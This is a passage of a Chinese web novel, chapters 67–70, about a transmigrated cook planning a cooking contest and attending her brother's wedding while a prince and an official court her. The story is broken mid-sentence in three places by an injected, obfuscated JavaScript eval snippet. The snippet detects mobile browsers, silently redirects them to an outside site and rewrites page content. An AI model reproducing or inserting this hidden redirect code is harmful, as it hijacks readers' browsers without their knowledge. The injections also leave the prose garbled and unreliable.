梅映禾惊喜,“好可爱啊。” “你喜欢就好。”文明修松了一口气,很怕她会拒绝,到底是没有白忙,“是我自己做的。” 这下轮到梅映禾惊讶了,“这手也太巧了吧,我很喜欢。” 梅映禾立刻把簪子戴在发间,还用手摸了摸,问他,“好看吗?” 对上那水灵灵的大眼睛,文明修实在不好意思多看,小娘子本就有绝色容颜,这样一副灵动鲜活的表情,眉眼不错地盯着他,是谁受得住。 “好看。” 文明修还没开口,身后一个声音响起。 67. 酸酸的 赵行之今日刚巧约请几位兵部的同僚吃酒,一来是为着这次梅九畴第一次带兵大获全胜,感谢兵部各位的鼎力相助,如今的他再不是从前不问政事的晋王了;二来是想拉近关系,他还有一些关于云岗之役的卷宗缺失,喝几杯酒拉近关系私下总是可以问一问。 这样的生活赵行之最近才开始适应,虽然知道自己想要什么,可是应酬起来难免仍觉得烦闷,是以每次吃酒他都要借口出来透透气。 谁知今日出来透气,站在二楼的围栏边上一眼就看到了欣喜开怀的小早,小娘子正坐在阳光里,手里捧着什么东西细细观赏,从赵行之的角度看不真切,只能看到她周身光芒四射。 可是当他看到对面文明修一双含情脉脉又略带羞涩的双目,还有那红得能滴血的耳朵时,赵行之便再也坐不住了。 “七哥。”梅映禾没起身,只开心地冲他一乐,随即往边上挪了挪,让出空间让他落座。 “今日的鳝鱼甚是新鲜,我瞧着排骨也不错,你不是说最近都难买到这两样吗?” 赵行之看到了她手里的簪子,两只狸奴的造型,心里顿时猜到了,却并不将话题往这上头引。 对面文明修在看到晋王殿下的时候便早已站起来行礼问安,谁知对方却仿佛没有看见他,只顾同小早说着后厨送菜的事。 原来他们这般熟悉了,晋王殿下竟然连后厨送菜这等小事都了如指掌。 其实听到他有此一问,梅映禾心里也是一愣,这几日物价上涨的厉害,即便是如此高价,许多肉类和鱼类也是十分难买到,虽然有梅花村专供,但是她跟村长说过,不用处处紧着她这里,左右云来酒楼距离梅花村菜市场才半炷香的路程,缺什么随时去买都来得及。 可是这事七哥是如何得知的。 虽心里有疑问,梅映禾仍旧没有问出口,只答:“村长想得周到,发觉最近的菜很紧俏,便每样都给我多留了一些。” 要不怎么说还得是自己人呢。 这个事是赵行之在点菜的时候听小跑堂提了一嘴,只不过是个话题而已,很快揭过,赵行之在文明修眼中看到了一闪而逝的落寞,心满意足。 可是拿在手里的这根金簪的确戳到了他的心里,尤其是簪头的两只狸奴,简直太像他送给小早的那两小只了。 可是那是他送的…… “这簪子可是文大人亲手做的。”梅映禾在一旁介绍,语气中充满欣喜和钦佩,“没想到文大人竟什么都会。” 切,赵行之心里冷嗤,把簪子还给了小早。 什么叫什么都会,说是他做的就真的是他亲手做的吗,即便是他亲手做的又有什么了不起,一根簪子而已,他都能自己做弓箭呢,这种东西不在话下…… 可是人家究竟还是捷足先登了啊。 这话不愿深想,赵行之默默缓解有些烦躁的情绪,自顾自拿起餐具斟茶夹菜。 今儿这顿就在这儿吃了。 要不怎么说急中生智呢,赵行之给自己夹了菜突然来了灵感,挑着几样小早爱吃的菜夹到她碗里: “别光顾着说话,你这些日子都没怎么好好吃饭。” 梅映禾顿了一下,冲他眨了眨眼睛,但是看到他一副如常的神情便也不多想,拿起筷箸又忙招呼文明修,“这份礼我很喜欢,多谢文大人,快吃菜,咱们边吃边聊。” “你喜欢就好。”文明修也拿起筷箸,“你若不嫌弃,以后我得了空闲还给你做。” 声音略有些发颤,不知是激动的还是紧张的,文明修的话是冲着小早说的,眼睛看的却是赵行之。 赵行之抬头,二人对视。 晋王殿下的确样貌出众,温和的时候如沐春风斯文儒雅,若是生气了,却显得眉眼凌厉寒光嗖嗖。 但是这一次文明修没有再躲着他的目光,他勇敢地迎了上去,好像在用眼神告诉他: “我,要上了。” 三人边吃边聊,说起了九郎和小梅的婚仪,梅映禾感慨:“实在是规矩太多,不过说起来,咱们的规矩恐怕不及宫里规矩的万一,不知道七哥成亲的时候会是什么样的仪程。” 她的确很想亲眼看一看这古代王爷娶亲是否与电视剧里那样,若是能亲眼看看就好了。 赵行之却被他这句话呛得咳嗽起来。 梅映禾又忙给他倒水压一压,赵行之只能解释:“今日这菜很辣,够味。” 辣吗,梅映禾疑惑,还好吧。 文明修将这一切尽收眼底,垂眸的一瞬间眼角生出笑意,便抬头看着梅映禾问:“那小早呢,九郎成亲之后就轮到你了,可有心仪的郎君了。” 这话问出口的时候,赵行之抬头看他,可是这一次文明修却没有看赵行之。 晋王殿下的心思只要不瞎都能看明白,小早啊,是真的没开窍。 可是,晋王殿下心仪小早,那小早呢,是否也心仪他呢。 还有方才他那虎视眈眈挑衅加威胁的眼神,文明修心里琢磨,若真是两厢情好恐怕殿下也不必如此介意和忌惮他了吧。 所以…… 一向循规蹈矩的文明修此刻为了心仪的小娘子竟生出了促狭的心思,只待小早的答复。 梅映禾一边吃一边不在乎道:“你们就不用打听了,没有。” 哈哈,没有。 文明修心里如释重负,可是虽然心里高兴却也不至于落井下石,是以他虽心里乐开了花面上却依然平静,眼神也再没去看对面的赵行之。 可是不用看都知道,晋王殿下这会儿一定窘迫极了,恐怕杀了他的心都有了。 窈窕淑女,君子好逑,大丈夫行事光明磊落堂堂正正,何惧之有。 文明修心里仿佛生出了一股莫名的勇气,所以,自己是很有希望…… “我这辈子不打算成亲了,所以这种事你们就别操心了。”梅映禾仍旧一副若无其事的样子,“说好了啊,是朋友以后也不许当红娘给我牵线,我不领情啊。” 文明修:…… 听闻此言,赵行之虽然心里也不舒服,可是毕竟他不是第一次听了,这话小早几乎挂嘴上了,他早就免疫了,刀枪不入,小娘子还没开窍,他依然穷追不舍,精诚所至,金石为开,他有耐心。 梅映禾说完还不忘拉上赵行之:“七哥知道,是不是七哥。” “对,没错。”赵行之愉快地给她添饭,“只要你高兴就成。” 梅映禾点头赞同,赵行之点头回应,四目相对微笑默契。 竟是如此,文明修心里凉凉一片,他不知道。再抬头看二人,仍旧一副熟悉相知不分彼此的模样,只得感叹:姜还是老的辣,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788003|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己还是太稚嫩了,竟这般容易露怯。 这餐饭别管他二人,梅映禾吃得十分轻松自在,今儿菜味道很好。 体恤到文明修这段时间的忙碌,梅映禾特意给他点了几道他最爱吃的菜。 “小早永远这么贴心,记得我们……”文明修看了一眼赵行之,“所有人的口味。” 二人的眉眼官司梅映禾无知无觉,自豪道:“职责所在,记住vip们的口味和喜好这是基本功好嘛。” 什么vip他们大约是听不懂,不过没关系,不重要。 “文大人也着实可怜了些。”梅映禾心里对文明修颇有点同为牛马人的同情,“我这段时日也空闲下来,你看有什么可以帮忙的尽管吩咐。” 她和文明修处到今日这样的交情已早就不见外了,毕竟不是土生土长的大隶朝人,梅映禾对那个时代的男女大妨没什么概念,好在大隶朝并不十分守旧,竟还有女子入仕为官、做私塾的讲师甚至从商经营声名鹊起的,得来的只有钦佩和敬仰更多些,这些梅映禾也是常有耳闻的。 她这话说得十分自然,文明修也听的习惯,并未觉有何不妥,可是落入赵行之耳中却是另一番隐忧。 若是女子对男子生出怜惜同情之心,那便离动心不远了。 这话是老师许老大人告诉他的,据说当年许老师便是用了此招,在一众如狼似虎的追求者中博得了师母的同情和可怜,女性善良,自然而然对他的关怀也更多,这便水到渠成。 “目下除了……”文明修想说商总,还是商总,但是看了小早一眼未说出口,“目下没什么特别繁重之事,还都是忙得过来的。” “那……”梅映禾清了清嗓,“我心里有一个想法,说与大人听一听,看看能否试一试。” 文明修来了兴致,赵行之也貌似随意实则支起耳朵来听。 “我呢想做一个厨艺大赛。”梅映禾一鼓作气,“最近的肉菜涨价实在厉害,导致酒楼的菜价也不得不跟着提起来,但是菜品倒是没什么变化的,食客们看到的便是涨价了。当然,肉菜涨价跟旱灾有很大关系,这个问题需要从长计议慢慢解决,所以我想……” 她又看了文明修一眼,“先解决当下的困境,厨艺大赛一来为了提升各家酒楼的整体厨艺水平,推陈出新,提升技艺;二来也能是一个很好的正面宣传,让大家都知道我们也有在努力提升品质;再有便是现在是淡季,希望可以借此增加话题提升人气吧。” 这个想法让文明修很震撼,小早果然厉害啊。 “此事甚好。”赵行之捷足先登,自告奋勇道:“既然是比赛必然要有评师,我帮你请一些有话语的人,比如御膳房的大厨、德高望重的儒者,还有太医院的院正,增加权威性,其他的你可以请食客们做品评,这样也能增加权威性,更有信服力。” 这件事情他必须参与,而且要多多参与,绝不能让文明修和小早接触过多。 这小子,太不安分了。 “太好了。”梅映禾抚掌,“文大人觉得如何?” 文明修看在眼里,小早的提议他一百个赞同,可是,赵行之先开口了,文明修心里默默点头,实话说不得不佩服晋王殿下的严防死守,很不是滋味地夹了一筷箸菜放入口中,缓缓开口道: “今日的菜,醋放多了。” 68. 成亲了 梅映禾实在是纳闷了,今日这菜有问题吗,怎么自己吃着蛮好的呀,面前这两位一个嫌辣一个嫌酸,真是太令她难以接受了。 两世厨师出身的梅小娘子生平最不能接受的就是别人说菜不好吃,那她一定会追根究底问个清楚,到底是哪里不好吃,好改进啊。 刚要开口,被文明修捷足先登。 小娘子脸都红了,若是纠结下去这菜的味道,自己可是圆不过去的。 文明修了解她的脾气,赶紧扯正事,“我觉得你的提议非常好,这事宜早不宜迟,我回去就张罗起来,把所有酒楼都通知到,参加与否就看他们自己的意愿吧。” 虽然是户部负责总商的官员,可是文明修也并没有权力强迫商户们做什么,一切全凭交情和他们对这件事的领悟。 “那以你的经验,估计能有多少家愿意参与的。”梅映禾心里没底,听他如此说便暂时忘记了方才说的菜味的问题了。 文明修掰着手指头默默数了数,拍着胸脯保证,“最少十三家,我说的是酒楼,还不算脚店和食谱、食坊这些。” 那也够了,梅映禾如释重负,很担心没人来参加可就尴尬了。 到时候只这些商户足以形成热闹的场面,至于赶热闹的百姓们自然更不用担心。 “我想着我们可以用不同的方式比拼,为公平起见首先要有同样题目的比试,比如同做一道菜,同样的食材同样的灶具,现场展示,让大家品尝之后投票最多者胜出。” 这是梅映禾上辈子熟悉得不能再熟悉的了,上一世她每天都奔波于各大比赛之间,频频飞来飞去,每每都会抱个奖杯回家。 “其次可以让每位厨师自己发挥一道自己最拿手的菜,最后再由评师现场出题,仿佛科举一样,几位评师共同商议决定题目,然后厨师们做一次席面。” “席面?”文明修有些惊讶。 “对,席面,一定要是席面。”梅映禾想起了自己上一世的经历,“而且必须从头到尾一个人独立完成,帮厨的人只能帮忙洗菜择菜切菜,煎炒烹炸必须本人现场独立完成。” 文明修和赵行之都听得入迷了,齐齐若有所思地点点头。 “还有,既然是比赛就要有奖银。”梅映禾对于这套流程实在太过熟悉了,越说越觉得距离上一次打比赛仿佛已经过去很久了,心中一时怀念起那种紧张刺激又令她兴奋的感觉,声音微微有些颤抖,“赢家要有奖银,可以分出前三甲,我想着大众评审也最好发一些象征性的奖银,以示鼓励。” “当然。”她不好意思地笑了笑,“这是理想状态,如果参加的人不多,愿意出银子赞助的商户不多,那便可以换一种奖励方式,不过,效果多少是会有些打折扣的。” “这个你不必担心。”赵行之非常欣喜她的这些奇思妙想,对于银子的事主动道:“奖银官府必然是要出一部分的,毕竟是户部的事。” 说完看向文明修。 文明修立即会意点头,“对,这个我请旨,另外商户集资,这个不难,我来游说。” 如此,便成了。 梅映禾欣喜,本来这个事情在她脑子里盘算些日子了,想着最近又是灾情又是边患问题,直到这些日子的肉菜涨价得厉害,才迫使她不得不尝试说出来,没想到竟如此顺利。 以她的经验,这样的比赛一定能带动一波流量和消费热,是个好机会。 “二位大官人放心,小女子一定竭尽全力将比赛筹办好。”小娘子深深一礼,面带微笑眉眼生花。 文明修生怕她又想起来菜的事,赶紧起身告辞,“我吃好了,多谢小早招待,这便赶紧回去请旨。” 说完向梅映禾揖礼,又郑重转身向赵行之揖礼道:“也感谢王爷的鼎力相助,下官一定竭尽全力,不负二位心血。” 之于正事上,文明修是不会有半点含糊的,此言发自肺腑。 赵行之还礼,目送这个讨厌的人远去,心里还在嘀咕,这人竟舍得先走一步。 “七哥,你坐下,咱们说一说今日的菜。”梅映禾拉住了赵行之,“究竟哪里有问题。” 赵行之:…… 难怪那个姓文的跑得比兔子还快。 * 梅九畴和小梅的婚礼办得十分热闹隆重,整个梅花村的人都来了。 一大早天还没亮小梅就爬起来,梅映禾也早早起床,今日她要全程伴着新娘子,很激动。 “小娘子请沐浴。”梅映禾烧好了热水,让小梅去洗澡。 小梅笑道:“你不必随我起,再回去躺一会儿。” 哪里睡得着,梅映禾道:“我去再检查一下嫂嫂的头面花冠和吉服是不是都妥当了。” 其实早就都检查几十遍了,妥当得不能再妥当了。 小梅沐浴出来穿上里衣,梅映禾也已经换好了衣裙,粉色上衣翠绿色的长裙,正值初夏,整个人仿佛那荷塘里姣姣盛开的一株碧叶荷花,娇嫩可爱。 小梅坐在妆奁前,挽发上妆,全福人给她绞脸,小梅眼睛里蓄了泪水。 不知是疼的,还是即将出嫁前离别的愁绪来了,看着一屋子人,阿娘在,婶娘也在,还有舅母、姑母,还有村子里相熟的各位婶婶嫂嫂们,心里又忐忑又激动。 直到戴上花冠,这新娘花冠是梅映禾亲自找工匠定制的,几乎是纯金打造,点缀各种娇艳欲滴的花朵、珍珠、玛瑙、翡翠,既想要隆重体面,又不想太过于沉重,梅映禾费尽了心思。 小梅喜欢极了,摸着头顶的花冠爱不释手。 她明白这是小早的心意,更是想让她嫁得风光嫁得体面,当着全村人的面,只这样的金冠就足够让所有人闭上嘴,再没人敢瞧不起她李小梅。 那个曾经因为皮肤黑身材壮硕而屡次被人嘲笑被媒婆嫌弃的小梅,今日终于嫁得了如意郎君。 更何况她的郎君,梅九畴,现在已经是有七品官衔的人了,整个村子这可是头一个做官的,小梅越想越觉得骄傲,一瞥眼竟然看到了人群里躲躲闪闪的秀才娘。 这个曾经最是看不上梅家兄妹的人,还生怕小早攀附她们家拖累她那秀才儿子,到梅家大闹过,如今怎么有脸来呢。 看到小梅的眼神,小早明白她心中所想,偷偷附耳道:“别理她,犯不上。” 小梅点头,“对,咱看都不看他一眼。” 吉服穿在身上,端庄大气华贵雍容,正配得上她高挑的身材,整个人熠熠发光。 “新娘子面颊圆润,长眉入鬓,一定夫妻恩爱福泽深厚,将来儿女齐全多子多福。” 全福人说着吉祥话,梅映禾忙着打点全福人又忙着照顾小梅,给她端来茶水,“少喝些,免得不方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794484|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便,但也不能渴着,回头还有好烦琐的仪程呢。” 小梅听话地少抿了两小口,梅映禾又偷偷递上猪肉蒲,“藏起来,饿的时候吃,嫂嫂今日怕是不能吃东西了,别饿坏了身子。” 小梅接过,“早儿。” 她说,梅映禾凑过去,清热的气体在耳后脖颈处化开。 “有你真好。” 咦,太阳还没落山呢,青天白日地说什么疯话,梅映禾抖了抖鸡皮疙瘩,笑着抱住她,姐妹二人眼中皆是点点星光。 真好,哥哥娶到了小梅姐,若是阿爹和阿娘还在,他们得多高兴啊。 按照仪程,小梅需在闺房中同母亲告别,李婶儿过来抱着女儿的时候,小梅的眼泪终于憋不住了,母女两个抱在一起,李婶儿赶紧给她擦泪: “我的儿快别哭,多漂亮的妆容,别哭花了。虽说你出嫁咱们不舍得,可是九郎是个好孩子,还有小早,你们自小一起长大,没有比嫁到他们家让爹娘更放心的了,你可要勤快些,伺候好九郎,照顾好小早,还要孝敬侍奉许大人。” “娘,我记下了。”小梅擦泪,“小早说等成亲之后让你和爹爹也过去住,咱们现在房子大,住得下。” 李婶儿自然欢喜,可是却嗔怪女儿,“傻丫头,小早那是好意咱们去不能真的过去,嫁女儿没听说带着爹娘住的,再说这家里如今也重新盖了房子,还有一大堆的事情等着我和你爹忙活呢,梅花村现在这么好,咱们可舍不得走。” 是啊,大家的日子都好过了,就连今日大家来添妆都出手阔绰得很呢。 “梅大人来接夫人咯。” 门外一声高亮的嗓音,让屋内又恢复了热闹。 小梅在梅映禾的搀扶下盖上了红盖头,梅九郎在大家的簇拥下一身红装进门,先前过五关斩六将很顺利,这会儿进门二话不说掏出红包开始散,自然顺顺利利地来到小梅面前,将红绸的一端交到她手里,就这样牵着自己的新妇出了门。 拜别岳父母,新人出了门子。 回到梅宅更是热闹,许老大人几乎请来了所有同僚,难得娶儿媳妇,老大人今日穿得格外喜庆,脸上一直笑着。 仪程进行得很顺利,新人入了洞房。 梅映禾这才松了一口气,看着外头墨色的天空,已经到了开席的时辰了。 看着她一个人站在廊下,静静地望着天边最后一抹彤云散去,仿佛同周围热闹的气氛形成了两个不同的世界,泾渭分明。 她又在想什么。 赵行之走过去,“怎么了。” 梅映禾什么也没想,只是觉得这一切真好。 被他的话打断,梅映禾抬头,赵行之愣住了,小娘子灿若桃花的脸上竟流下了泪水,他忙掏出帕子帮她拭泪。 梅映禾这才发觉脸上凉凉的,自己竟然哭了。 究竟为什么哭,激动幸福,还是想起了什么。 “你……” 赵行之想问却又不知如何说出口。 “我在想,等哥嫂成亲之后,我们就该去给阿爹阿娘上坟了,让他们知道哥哥成亲了,还当了七品大官,阿爹该替哥哥骄傲的,阿娘也会欣慰的。” 小娘子想爹娘了,赵行之默默不语,静静地矗立在她身边听她慢慢说着,心里仿佛被利刃狠狠划过。 疼,钻心地疼。 69. 家里有几个娃 天气一日比一日热起来,眼看着衣衫轻薄万物灿烂,梅映禾策划的第一届神厨比拼也正式拉开帷幕。 竟有一种熟悉又陌生的感觉。 上一世梅映禾热衷于比赛,喜欢拿奖后那种成就感,现在回想起来竟仿佛隔了许久了。 如今的梅映禾做得更多的是实事,一朝一夕一餐一饭,倒是觉得更踏实更安心了。 “到底还是银子的力量啊。” 梅映禾掂量着文明修送过来的此次比拼的奖银,足足两千两,可太具有吸引力了。 但是,现在的她更喜欢这一日复一日一块铜板一块铜板赚到手的感觉。 积累的过程比天降巨款让人有安全感,这就是为什么养成系更治愈的原因。 想到养成系,梅映禾想起了自己前世的企鹅菜地,哎,那么多的蔬菜瓜果估计被人偷完了,还有她爱玩的餐厅游戏,好容易积累起来的财富,眼看着生意一日日做大,从路边摊到大酒楼,就这么水灵灵地荒废了。 会不会有一日自己突然又穿了回去,那现在这里的一切岂不是如她玩的游戏一样,白干一场。 骤然想起这些,心情一下子低落了下来。 人生啊,终究是一场游戏一场梦。 过程愉悦乐在其中便是了,管他以后如何呢,人都没了还操那份儿心,真是吃饱了撑的。 打了个饱嗝,梅映禾又恢复了活力。 文明修还在滔滔不绝地讲着比拼的细节,“三位评师一位是御厨刘大,负责品评色香味;一位是太医院孙院正,从补身养生的角度品评;还有一位是许大人。” 他嘿嘿一笑,“毕竟是户部的事情,理应户部坐堂。” 梅映禾也笑了,“义父定是嘴馋了。” 如此倒是更好了,这评师阵容不是一般的强大。 “比拼分三日。”文明修翻了一页纸继续道,“第一日比拼初试和二轮,先由刘大命题,所有的厨师都做同一道菜,一共五道菜,选出二十位胜出者。” 梅映禾舀了一勺甜品,边吃边听他说。 这甜品是她最近新做的,用了春天收集的各种花露拌了花蜜、椰果和一些果干,最后还放了发酵的牛乳,口感类似后世的酸奶,却比酸奶更丝滑绵密。 不愧是我,还真是个天才啊,梅映禾忍不住自吹自擂。 “再让这二十位做三道自己的拿手好菜,选出十位胜出者。” 文明修也吃了一口,赞道:“真好吃,小早你这手艺绝佳,不亲自下场比拼可惜了。” 梅映禾笑了笑,上一世参加的比赛够多了,这一世她就想做一个踏踏实实兢兢业业的东家,和一个快快乐乐简简单单的吃货。 看着别人卷,也是一件非常有乐趣的事。 “第二日比拼由许大人出题,做席面。”文明修又往嘴里进了一大口,“就按照你说的,席面也要讲究红白事的,或成亲、或生子、或进学、或升迁、或盖屋……各有各的讲究各有各的特色,这便从十人中选出五人胜出。” 梅映禾原先满打满算也觉得两日的比拼差不多了,便问他,“那第三日做什么。” 文明修神秘一笑,“咱们不是还有百姓评审吗,这第三日便是让胜出的五人每人带一位百姓学徒,现场把学徒教会,然后由百姓们出题考核,五位学徒比试,胜出三甲。” 嗯,这个主意好,梅映禾点头,“真是巧思,这样提前张榜告示,大家都来报名,这场神厨比赛自然就宣传出去了,只怕明日来的人会比预想的多。” 果然,梅映禾没有说错,这次借用了云来酒楼的地方,来看热闹的百姓人山人海,好似全城出动一般,把云来酒楼上下三层占了个满满当当。 三日的比赛本与梅映禾没什么关系,可实际刚好相反。 宫里来了贵人,酒楼里日日爆满,这么多看客自然有点茶水点心的,还有午食晚食留下用餐吃酒的,梅映禾里里外外张罗应酬,生意是真的好,小娘子也终于在三日比拼结束后累得直不起腰来了。 “你就不该凡事亲力亲为。”赵行之又是心疼又不忍心责怪她,“我这便送你回家去歇歇。” “七哥今日坐车来的?”梅映禾有些奇怪,他平日不是喜欢骑马的吗。 “许大人的意思,这场比拼要做就做到圆满,三日剩下不少菜和肉,都送到普济寺去,也免得浪费了。” 他一边说,一边看着佑安带人往车上搬东西,那一筐一筐没用完的蔬菜和新鲜的肉食拿到普济寺估计一两顿便都消化完了。 “还是七哥想得周到。”梅映禾撑着桌子站起来,“我没事,跟七哥一起去。” 赵行之的眼睛亮了一下,实在很想跟她一起去,可是看着她疲累的模样还是一口拒绝,“不行,你乖乖回家睡觉去。” “七哥。”梅映禾抱住他的胳膊,晃着撒娇道:“就让我去吧,不差这半日,我想去。” 小娘子粉嫩雪白的脸蛋上柳眉皱成了八字,水灵灵的大眼睛眼巴巴地看着他,一副哀怨又委屈的模样。 况且她柔软温热的小手此刻正抓着他的衣袖,隔着夏日轻薄的衣衫,二人的肢体有一下无一下地若即若离地触碰着。 美人撒娇,这谁受得了。 赵行之当即僵在原地,只有点头答应的份儿。 梅映禾欣喜,赶紧上楼去换了一身衣衫,又重新梳洗,也不上妆了,夏日炎热素面朝天最舒服。 让梅映禾没有想到的是,普济寺的许多灾民竟然跟赵行之非常熟悉,他们见了他没有行礼跪拜,倒是满脸笑意上前打招呼称兄道弟,还有老妇特意为他做了鞋子,赵行之也不见外,口中唤着“陆阿婆”,手里接过那最简单普通的粗麻布鞋,坐下来就往脚上试穿。 “可还合适?”那位被唤作陆阿婆的老妇问,神情很是忐忑。 “合适得很,阿婆手真准,这鞋子当真是舒服。”赵行之将鞋子穿在脚上左看右看,十分喜欢。 他从未穿过这样简单朴素的鞋子,倒是比他所有的靴子都轻便舒适。 “那就好,那就好。”陆阿婆如释重负,“赶紧让你媳妇看看,阿婆是乡下人,做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798861|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的针线不细密,比不得这京中小娘子的秀活儿精巧。阿婆老了,想谢谢你又不知该如何谢,你别嫌弃……” 陆阿婆絮絮叨叨起来,忙又催促着赵行之,“快,快叫你媳妇过来坐下歇歇。你们两口子都是好孩子,今儿你来明儿她又来,真是帮了咱们大忙了。” 陆阿婆抬头看梅映禾,“家里有几个娃。” 老人家说话梅映禾不好贸然打断,可是小娘子早就被老人家左一句“你媳妇”又一句“两口子”弄得满脸通红了。 现下老人家竟又问起孩子来,梅映禾赶紧解释:“阿婆,我们不……” “阿婆,我们还没有孩子。” 赵行之抢在她之前接了话,递给她一个眼神,先同阿婆解释:“我家娘子年纪还小,再等两年再要孩子不迟。” “对对对,你这个郎君做得好,懂得温柔体恤娘子。”阿婆十分赞赏。 得了阿婆的几句话,虽是误会,虽然小娘子羞涩起来,可是赵行之却从未有过的幸福和快乐。 慢慢地送走阿婆这才返回,看着梅映禾的小脸像红透了的柿子,赵行之忍不住笑出声来。 “你还笑。”梅映禾窘迫极了,“叫老人家误会了也不解释。” 赵行之拉着她坐在廊下,看着这傍晚的落日和满院子的夕阳余晖,道:“陆阿婆的儿子儿媳都没了,身边只有一个小孙女,老人家年纪大了,喜欢看和和美美甜甜蜜蜜的圆满,再也见不得离别了。” 梅映禾愣了一下,看向陆阿婆的方向,阿婆正在抱着一个两三岁的小女娃看夕阳。 美如画卷的景致背后却是祖孙俩不得已的离别悲苦。 梅映禾不再多说,误会就误会吧,只要老人家心里是满足开心的。 就这样静静地坐着,什么都不做,就很好。 梅映禾享受这一刻的宁静,坐得很乖。 “这次神厨大赛你应当首功。”赵行之转换了话题,“是如何想到的。” 梅映禾笑了一下,“其实想法早就有了,只是一直没有下定决心。现在才刚入夏,水灾旱灾时疫不可避免,困难的日子还在后头,陛下爱民如子可是朝廷也不富裕,我想着现在朝廷能让商户们都过上好日子,大家感念圣恩,到时候拿出银子赈灾济贫也会更慷慨更顺利些,毕竟大家都是大隶的子民嘛。” 晚风吹动她的发丝,天边那一束橘色的光芒照在她身上,仿佛幻化成天上的仙子。 她说得很淡,声音轻轻的,却字字重如千斤砸在赵行之的心坎上。 原来,她竟是这般广阔的胸怀。 “我的阿爹阿娘就是死在大水里,我经历过的就不想看着别人也像我一样难受。” 梅映禾说得很自然,“我只是想尽一点绵薄之力,能让和我一样的人看到,也尽一份心,也能让受灾煎熬的人们看到希望。” 那些痛苦已经过去了,她说得云淡风轻,但是赵行之知道在她心里那些伤痛是刻骨铭心的。 此刻,他只想好好把她抱在怀里,此生都不再让他经受一点点伤痛。 70. 赐婚 天边的彤云灿烂辉煌,铺满整个天地,照到她的脸上,将那本就白皙的面颊染上了浅淡的绯色。 赵行之看得出了神,心里却难免升起一丝失落和彷徨。 小早就在眼前,仍旧是那个热情似小太阳,温暖如三月春风的小早,可是他却从未知道,在她的内心深处竟还有着这样广阔的天地。 梅映禾也是极少对人提及自己的这些想法,只觉得想做的事便做了,她不想因为自己的善举引来非议,更不想胁迫任何人跟她一样,她有那样痛苦的童年经历,旁人没有,人类的悲喜并不相通,大家一切随心便好。 但是今日不知怎么了,坐在这里,看着这些劫后重生的灾民,眼下的生活是无忧无虑的,可是未来呢,总不能一辈子都吃住在这普济寺里吧,就算住持师父不说什么,恐怕他们自己也是不好意思的。 人要脸树要皮,再穷也不能活得没骨气。 “七哥,我还想能不能做点技术培训。” 这话说得有点儿太超前了,梅映禾怕他听不明白,转头看着他解释道:“你看这些人,别管男女大多是年轻力壮的,总不能就这么耗费下去,可是他们远道而来对京城不了解,若是没有手艺,就算想自力更生恐怕都是难的。” 赵行之点头,“皇兄也在为这件事情发愁,毕竟不是每一个人都有一技之长的,现在是这些人,若是今夏灾情严重,恐怕京城里又将迎来新的灾民,这些人没有立身之本,京城的担子就会越来越重。” “所以,我们可以教给他们立身之本啊。”梅映禾说,“比如愿意学厨艺的,可以报名厨师班,愿意学算账的可以报名算班,还有专门培训跑堂的班,专门培训采买的,和物品管理的,女子可以学女红、刺绣,年长一些可以学做小吃,经营小食谱。” 大隶朝也不是没有类似的学班,但是大多数都是为官宦子弟开设的,比如男子的私塾、学堂,女子的插花、点茶、制香等,却极少有为了生存的贫苦百姓开设的技艺学班。 因为不赚钱嘛。 赵行之也在思索这个问题,是否需要朝廷拨款,如何说服皇兄在如今这样捉襟见肘的时刻还能愿意拿出资金来为贫苦大众谋一条生存之道。 “七哥是不是在担心银子的事。” 梅映禾觎着他的面色,那上头有三分欣喜七分忧愁,她多半也猜到了他想到的难处。 “七哥不用发愁,我想的是此事不用经过朝廷官府,全然由民间自行组织。比如可以请周大厨做讲师,阿十自己研究出了一套记菜单的好法子,不用纸笔也不会出错,自然也可以作为讲师将他的法子广泛推广,所以这些讲师就可以由各家商铺提供人员。” 她捡起手边的一根长树枝,一头拿在手里,一头在地上划拉着,“既然是学班,那束脩自然也是要交的,毕竟担任讲师的熟手也不能白白授课不是。只是这束脩不太一样,不立刻收取而是从学员的月俸里扣。” “所以,这些提供讲师的商户便可以提前选取优秀的学员到自己的店里做工,对于商户而言选到优秀的人又能派出去讲师另收一笔讲课的费用,还能打出自己的名气,何乐不为。” 她两手一摊笑嘻嘻地看着赵行之。 此法,甚好。 赵行之在听她说完便已在心中得出了定论,不但让百姓有一技之长,还能在培训过后立马就能找到合适的活儿,还不用提前交束脩,至于商户,正如她所言,更是不会推辞。 他的小早啊,真是一个惊喜连着一个惊喜,让他应接不暇。 